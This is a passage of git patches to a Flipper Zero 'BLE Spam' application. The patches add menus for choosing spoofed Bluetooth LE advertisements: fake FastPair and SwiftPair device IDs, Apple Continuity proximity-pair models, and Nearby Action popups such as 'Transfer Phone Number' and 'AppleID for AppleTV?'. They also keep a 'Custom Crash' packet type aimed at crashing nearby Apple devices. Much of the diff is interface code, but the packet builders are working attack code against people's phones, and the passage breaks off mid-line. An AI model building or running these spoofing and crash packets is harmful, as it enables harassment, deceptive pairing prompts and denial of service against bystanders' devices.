b/applications/external/ble_spam/ble_spam.c @@ -104,7 +104,7 @@ static Attack attacks[] = { #define ATTACKS_COUNT ((signed)COUNT_OF(attacks)) -uint16_t delays[] = {20, 50, 100, 200}; +static uint16_t delays[] = {20, 50, 100, 200}; typedef struct { Ctx ctx; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index fdf1870f0..45645356d 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -16,7 +16,7 @@ static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Custom Packet", }; -const char* continuity_get_name(const ProtocolCfg* _cfg) { +static const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; return type_names[cfg->type]; } @@ -33,7 +33,7 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; -void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { +static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; ContinuityType type; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8b9c139c2..e912ce6af 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const ProtocolCfg* _cfg) { +static const char* fastpair_get_name(const ProtocolCfg* _cfg) { const FastpairCfg* cfg = &_cfg->fastpair; UNUSED(cfg); return "FastPair"; } -void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { +static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; uint32_t model_id; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index e4d081754..2728f2887 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const ProtocolCfg* _cfg) { +static const char* swiftpair_get_name(const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = &_cfg->swiftpair; UNUSED(cfg); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { +static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; const char* display_name; From 147c981cdfda42b03e8ebc93e586dd807fb6bbba Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 11:45:31 +0100 Subject: [PATCH 28/56] BLE Spam support protocols extra config menus --- applications/external/ble_spam/ble_spam.c | 1 + applications/external/ble_spam/protocols/_base.h | 2 ++ applications/external/ble_spam/scenes/config.c | 8 ++++++++ 3 files changed, 11 insertions(+) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 1104b4595..522201dfb 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -320,6 +320,7 @@ static bool input_callback(InputEvent* input, void* ctx) { if(input->type == InputTypeLong) { if(advertising) toggle_adv(state); state->ctx.attack = &attacks[state->index]; + scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0); scene_manager_next_scene(state->ctx.scene_manager, SceneConfig); } else if(input->type == InputTypeShort) { toggle_adv(state); diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index cba727645..d519f5bf8 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -8,6 +8,7 @@ #include "ble_spam_icons.h" #include #include +#include "../ble_spam.h" typedef union ProtocolCfg ProtocolCfg; @@ -15,4 +16,5 @@ typedef struct { const Icon* icon; const char* (*get_name)(const ProtocolCfg* _cfg); void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); + uint8_t (*config_list)(Ctx* ctx); } Protocol; diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index 51958b15d..a387fbd25 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -15,11 +15,19 @@ void scene_config_on_enter(void* _ctx) { variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); + uint8_t item_count = 0; + if(ctx->attack->protocol && ctx->attack->protocol->config_list) { + item_count = ctx->attack->protocol->config_list(ctx); + } + UNUSED(item_count); item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + variable_item_list_set_selected_item( + list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList); } From a0d739803870403dde2b87e71e8129d0dd4bc632 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 12:37:53 +0100 Subject: [PATCH 29/56] BLE Spam add more gui modules --- applications/external/ble_spam/ble_spam.c | 21 +++++++++++++++++++++ applications/external/ble_spam/ble_spam.h | 9 +++++++++ 2 files changed, 30 insertions(+) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 522201dfb..c876ac503 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -391,6 +391,18 @@ int32_t ble_spam(void* p) { view_set_input_callback(view_main, input_callback); view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); + state->ctx.byte_input = byte_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input)); + + state->ctx.submenu = submenu_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu)); + + state->ctx.text_input = text_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input)); + state->ctx.variable_item_list = variable_item_list_alloc(); view_dispatcher_add_view( state->ctx.view_dispatcher, @@ -401,6 +413,15 @@ int32_t ble_spam(void* p) { scene_manager_next_scene(state->ctx.scene_manager, SceneMain); view_dispatcher_run(state->ctx.view_dispatcher); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput); + byte_input_free(state->ctx.byte_input); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu); + submenu_free(state->ctx.submenu); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput); + text_input_free(state->ctx.text_input); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList); variable_item_list_free(state->ctx.variable_item_list); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index f97030d50..1e361b8e2 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -1,12 +1,18 @@ #pragma once #include +#include +#include +#include #include #include "scenes/_setup.h" enum { ViewMain, + ViewByteInput, + ViewSubmenu, + ViewTextInput, ViewVariableItemList, }; @@ -18,5 +24,8 @@ typedef struct { ViewDispatcher* view_dispatcher; SceneManager* scene_manager; + ByteInput* byte_input; + Submenu* submenu; + TextInput* text_input; VariableItemList* variable_item_list; } Ctx; From 55c6d42a1823d00d0a9200a7048acddb241bcb6f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 12:38:38 +0100 Subject: [PATCH 30/56] BLE Spam FastPair model id menu --- .../external/ble_spam/protocols/fastpair.c | 212 ++++++++++++++++-- .../ble_spam/protocols/fastpair_scenes.h | 2 + 2 files changed, 190 insertions(+), 24 deletions(-) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index e912ce6af..019c8fa5d 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,6 +4,35 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction +const struct { + uint32_t id; + const char* name; +} models[] = { + // Genuine devices + {0xCD8256, "Bose NC 700"}, + {0xF52494, "JBL Buds Pro"}, + {0x718FA4, "JBL Live 300TWS"}, + {0x821F66, "JBL Flip 6"}, + {0x92BBBD, "Pixel Buds"}, + {0xD446A7, "Sony XM5"}, + {0x2D7A23, "Sony WF-1000XM4"}, + + // Custom debug popups + {0xD99CA1, "Flipper Zero"}, + {0x77FF67, "Free Robux"}, + {0xAA187F, "Free VBucks"}, + {0xDCE9EA, "Rickroll"}, + {0x87B25F, "Animated Rickroll"}, + {0xF38C02, "Boykisser"}, + {0x1448C9, "BLM"}, + {0xD5AB33, "Xtreme"}, + {0x0C0B67, "Xtreme Cta"}, + {0x13B39D, "Talking Sasquach"}, + {0xAA1FE1, "ClownMaster"}, +}; + +const uint8_t models_count = COUNT_OF(models); + static const char* fastpair_get_name(const ProtocolCfg* _cfg) { const FastpairCfg* cfg = &_cfg->fastpair; UNUSED(cfg); @@ -17,30 +46,7 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc if(cfg && cfg->model_id != 0x000000) { model_id = cfg->model_id; } else { - const uint32_t models[] = { - // Genuine devices - 0xCD8256, // Bose NC 700 - 0xF52494, // JBL Buds Pro - 0x718FA4, // JBL Live 300TWS - 0x821F66, // JBL Flip 6 - 0x92BBBD, // Pixel Buds - 0xD446A7, // Sony XM5 - 0x2D7A23, // Sony WF-1000XM4 - - // Custom debug popups - 0xD99CA1, // Flipper Zero - 0x77FF67, // Free Robux - 0xAA187F, // Free VBucks - 0xDCE9EA, // Rickroll - 0x87B25F, // Animated Rickroll - 0xF38C02, // Boykisser - 0x1448C9, // BLM - 0xD5AB33, // Xtreme - 0x0C0B67, // Xtreme Cta - 0x13B39D, // Talking Sasquach - 0xAA1FE1, // ClownMaster - }; - model_id = models[rand() % COUNT_OF(models)]; + model_id = models[rand() % models_count].id; } uint8_t size = 14; @@ -68,8 +74,166 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc *_packet = packet; } +enum { + ConfigModelId, +}; + +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigModelId: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelId); + default: + break; + } +} + +static void model_id_changed(VariableItem* item) { + FastpairCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->model_id = models[index].id; + variable_item_set_current_value_text(item, models[index].name); + } else { + cfg->model_id = 0x000000; + variable_item_set_current_value_text(item, "Random"); + } +} + +static uint8_t fastpair_config_list(Ctx* ctx) { + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + size_t value_index; + + item_count++; + item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg); + const char* model_name = NULL; + char model_name_buf[9]; + if(cfg->model_id == 0x000000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < models_count; i++) { + if(cfg->model_id == models[i].id) { + model_name = models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model_id); + model_name = model_name_buf; + value_index = models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, + .config_list = fastpair_config_list, }; + +static void model_id_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + switch(index) { + case 0: + cfg->model_id = 0x000000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelIdCustom); + break; + default: + cfg->model_id = models[index - 1].id; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} + +void scene_fastpair_model_id_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, model_id_callback, ctx); + if(cfg->model_id == 0x000000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < models_count; i++) { + submenu_add_item(submenu, models[i].name, i + 1, model_id_callback, ctx); + if(!found && cfg->model_id == models[i].id) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", models_count + 1, model_id_callback, ctx); + if(!found) { + found = true; + selected = models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} + +bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_fastpair_model_id_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void model_id_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} + +void scene_fastpair_model_id_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model ID"); + + byte_input_set_result_callback( + byte_input, + model_id_custom_callback, + NULL, + ctx, + ((void*)&cfg->model_id) + 1, + sizeof(cfg->model_id) - 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} + +bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_fastpair_model_id_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h index e69de29bb..f2c3e93fd 100644 --- a/applications/external/ble_spam/protocols/fastpair_scenes.h +++ b/applications/external/ble_spam/protocols/fastpair_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(fastpair_model_id, FastpairModelId) +ADD_SCENE(fastpair_model_id_custom, FastpairModelIdCustom) From 9b14e7745a25a778c7068453f619ce05b0b770d5 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 12:53:05 +0100 Subject: [PATCH 31/56] BLE Spam SwiftPair display name menu --- .../external/ble_spam/protocols/swiftpair.c | 63 +++++++++++++++++++ .../ble_spam/protocols/swiftpair_scenes.h | 1 + 2 files changed, 64 insertions(+) diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 2728f2887..4f7bc82bf 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -47,8 +47,71 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto *_packet = packet; } +enum { + ConfigDisplayName, +}; + +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigDisplayName: + scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairDisplayName); + default: + break; + } +} + +static uint8_t swiftpair_config_list(Ctx* ctx) { + SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + + item_count++; + item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); + variable_item_set_current_value_text( + item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, + .config_list = swiftpair_config_list, }; + +static void display_name_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} + +void scene_swiftpair_display_name_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + TextInput* text_input = ctx->text_input; + text_input_reset(text_input); + + text_input_set_header_text(text_input, "Leave empty for random"); + + text_input_set_result_callback( + text_input, display_name_callback, ctx, cfg->display_name, sizeof(cfg->display_name), true); + + text_input_set_minimum_length(text_input, 0); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); +} + +bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_swiftpair_display_name_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h index e69de29bb..a31058ca4 100644 --- a/applications/external/ble_spam/protocols/swiftpair_scenes.h +++ b/applications/external/ble_spam/protocols/swiftpair_scenes.h @@ -0,0 +1 @@ +ADD_SCENE(swiftpair_display_name, SwiftpairDisplayName) From 4ca096bad5bf2b49dcdb2f560d2237b0ca8ec209 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 16:50:35 +0100 Subject: [PATCH 32/56] Some formatting --- applications/external/ble_spam/protocols/continuity.c | 1 - applications/external/ble_spam/protocols/continuity.h | 4 ++-- applications/external/ble_spam/protocols/fastpair.c | 10 ---------- applications/external/ble_spam/protocols/swiftpair.c | 5 ----- 4 files changed, 2 insertions(+), 18 deletions(-) diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 45645356d..297710f3d 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -32,7 +32,6 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; - static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index eb6334731..54f568195 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -23,12 +23,12 @@ typedef struct { ContinuityType type; union { struct { + uint16_t model_id; uint8_t prefix; - uint16_t model; } proximity_pair; struct { - uint8_t flags; uint8_t type; + uint8_t flags; } nearby_action; } data; } ContinuityCfg; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 019c8fa5d..8944b7810 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -30,7 +30,6 @@ const struct { {0x13B39D, "Talking Sasquach"}, {0xAA1FE1, "ClownMaster"}, }; - const uint8_t models_count = COUNT_OF(models); static const char* fastpair_get_name(const ProtocolCfg* _cfg) { @@ -77,7 +76,6 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc enum { ConfigModelId, }; - static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); @@ -88,7 +86,6 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } - static void model_id_changed(VariableItem* item) { FastpairCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); @@ -101,7 +98,6 @@ static void model_id_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } - static uint8_t fastpair_config_list(Ctx* ctx) { FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; VariableItemList* list = ctx->variable_item_list; @@ -162,7 +158,6 @@ static void model_id_callback(void* _ctx, uint32_t index) { break; } } - void scene_fastpair_model_id_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; @@ -193,13 +188,11 @@ void scene_fastpair_model_id_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } - bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } - void scene_fastpair_model_id_on_exit(void* _ctx) { UNUSED(_ctx); } @@ -209,7 +202,6 @@ static void model_id_custom_callback(void* _ctx) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } - void scene_fastpair_model_id_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; @@ -227,13 +219,11 @@ void scene_fastpair_model_id_custom_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } - bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } - void scene_fastpair_model_id_custom_on_exit(void* _ctx) { UNUSED(_ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 4f7bc82bf..802e93201 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -50,7 +50,6 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto enum { ConfigDisplayName, }; - static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); @@ -61,7 +60,6 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } - static uint8_t swiftpair_config_list(Ctx* ctx) { SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; VariableItemList* list = ctx->variable_item_list; @@ -89,7 +87,6 @@ static void display_name_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); } - void scene_swiftpair_display_name_on_enter(void* _ctx) { Ctx* ctx = _ctx; SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; @@ -105,13 +102,11 @@ void scene_swiftpair_display_name_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); } - bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } - void scene_swiftpair_display_name_on_exit(void* _ctx) { UNUSED(_ctx); } From 290d6ea44f72fb7a4734b174bd2f4026dced0c42 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 17:05:24 +0100 Subject: [PATCH 33/56] BLE Spam Continuity config menus --- .../external/ble_spam/protocols/continuity.c | 615 ++++++++++++++++-- .../ble_spam/protocols/continuity_scenes.h | 7 + 2 files changed, 563 insertions(+), 59 deletions(-) diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 297710f3d..66887695d 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -6,6 +6,61 @@ // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ +const struct { + uint16_t id; + const char* name; +} pp_models[] = { + {0x0E20, "AirPods Pro"}, + {0x0620, "Beats Solo 3"}, + {0x0A20, "AirPods Max"}, + {0x1020, "Beats Flex"}, + {0x0055, "Airtag"}, + {0x0030, "Hermes Airtag"}, + {0x0220, "AirPods"}, + {0x0F20, "AirPods 2nd Gen"}, + {0x1320, "AirPods 3rd Gen"}, + {0x1420, "AirPods Pro 2nd Gen"}, + {0x0320, "Powerbeats 3"}, + {0x0B20, "Powerbeats Pro"}, + {0x0C20, "Beats Solo Pro"}, + {0x1120, "Beats Studio Buds"}, + {0x0520, "Beats X"}, + {0x0920, "Beats Studio 3"}, + {0x1720, "Beats Studio Pro"}, + {0x1220, "Beats Fit Pro"}, + {0x1620, "Beats Studio Buds+"}, +}; +const uint8_t pp_models_count = COUNT_OF(pp_models); + +const struct { + uint8_t value; + const char* name; +} pp_prefixes[] = { + {0x01, "New Device"}, + {0x07, "Not Your Device"}, + {0x05, "New Airtag"}, +}; +const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); + +const struct { + uint8_t type; + const char* name; +} na_actions[] = { + {0x13, "AppleTV AutoFill"}, + {0x27, "AppleTV Connecting..."}, + {0x20, "Join This AppleTV?"}, + {0x19, "AppleTV Audio Sync"}, + {0x1E, "AppleTV Color Balance"}, + {0x09, "Setup New iPhone"}, + {0x02, "Transfer Phone Number"}, + {0x0B, "HomePod Setup"}, + {0x01, "Setup New AppleTV"}, + {0x06, "Pair AppleTV"}, + {0x0D, "HomeKit AppleTV Setup"}, + {0x2B, "AppleID for AppleTV?"}, +}; +const uint8_t na_actions_count = COUNT_OF(na_actions); + static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeAirDrop] = "AirDrop", [ContinuityTypeProximityPair] = "Proximity Pair", @@ -83,47 +138,26 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot } case ContinuityTypeProximityPair: { - uint16_t model; - if(cfg && cfg->data.proximity_pair.model != 0x0000) { - model = cfg->data.proximity_pair.model; + uint16_t model_id; + if(cfg && cfg->data.proximity_pair.model_id != 0x0000) { + model_id = cfg->data.proximity_pair.model_id; } else { - const uint16_t models[] = { - 0x0E20, // AirPods Pro - 0x0620, // Beats Solo 3 - 0x0A20, // AirPods Max - 0x1020, // Beats Flex - 0x0055, // Airtag - 0x0030, // Hermes Airtag - 0x0220, // AirPods - 0x0F20, // AirPods 2nd Gen - 0x1320, // AirPods 3rd Gen - 0x1420, // AirPods Pro 2nd Gen - 0x0320, // Powerbeats 3 - 0x0B20, // Powerbeats Pro - 0x0C20, // Beats Solo Pro - 0x1120, // Beats Studio Buds - 0x0520, // Beats X - 0x0920, // Beats Studio 3 - 0x1720, // Beats Studio Pro - 0x1220, // Beats Fit Pro - 0x1620, // Beats Studio Buds+ - }; - model = models[rand() % COUNT_OF(models)]; + model_id = pp_models[rand() % pp_models_count].id; } uint8_t prefix; if(cfg && cfg->data.proximity_pair.prefix == 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { - if(model == 0x0055 || model == 0x0030) + if(model_id == 0x0055 || model_id == 0x0030) prefix = 0x05; else prefix = 0x01; } packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = (model >> 0x08) & 0xFF; - packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = (model_id >> 0x08) & 0xFF; + packet[i++] = (model_id >> 0x00) & 0xFF; packet[i++] = 0x55; // Status packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level @@ -178,21 +212,7 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot if(cfg && cfg->data.nearby_action.type != 0x00) { action = cfg->data.nearby_action.type; } else { - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - action = actions[rand() % COUNT_OF(actions)]; + action = na_actions[rand() % na_actions_count].type; } uint8_t flag; @@ -223,22 +243,7 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeCustomCrash: { // Found by @ECTO-1A - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - uint8_t action = actions[rand() % COUNT_OF(actions)]; - + uint8_t action = na_actions[rand() % na_actions_count].type; uint8_t flag = 0xC0; if(action == 0x20 && rand() % 2) 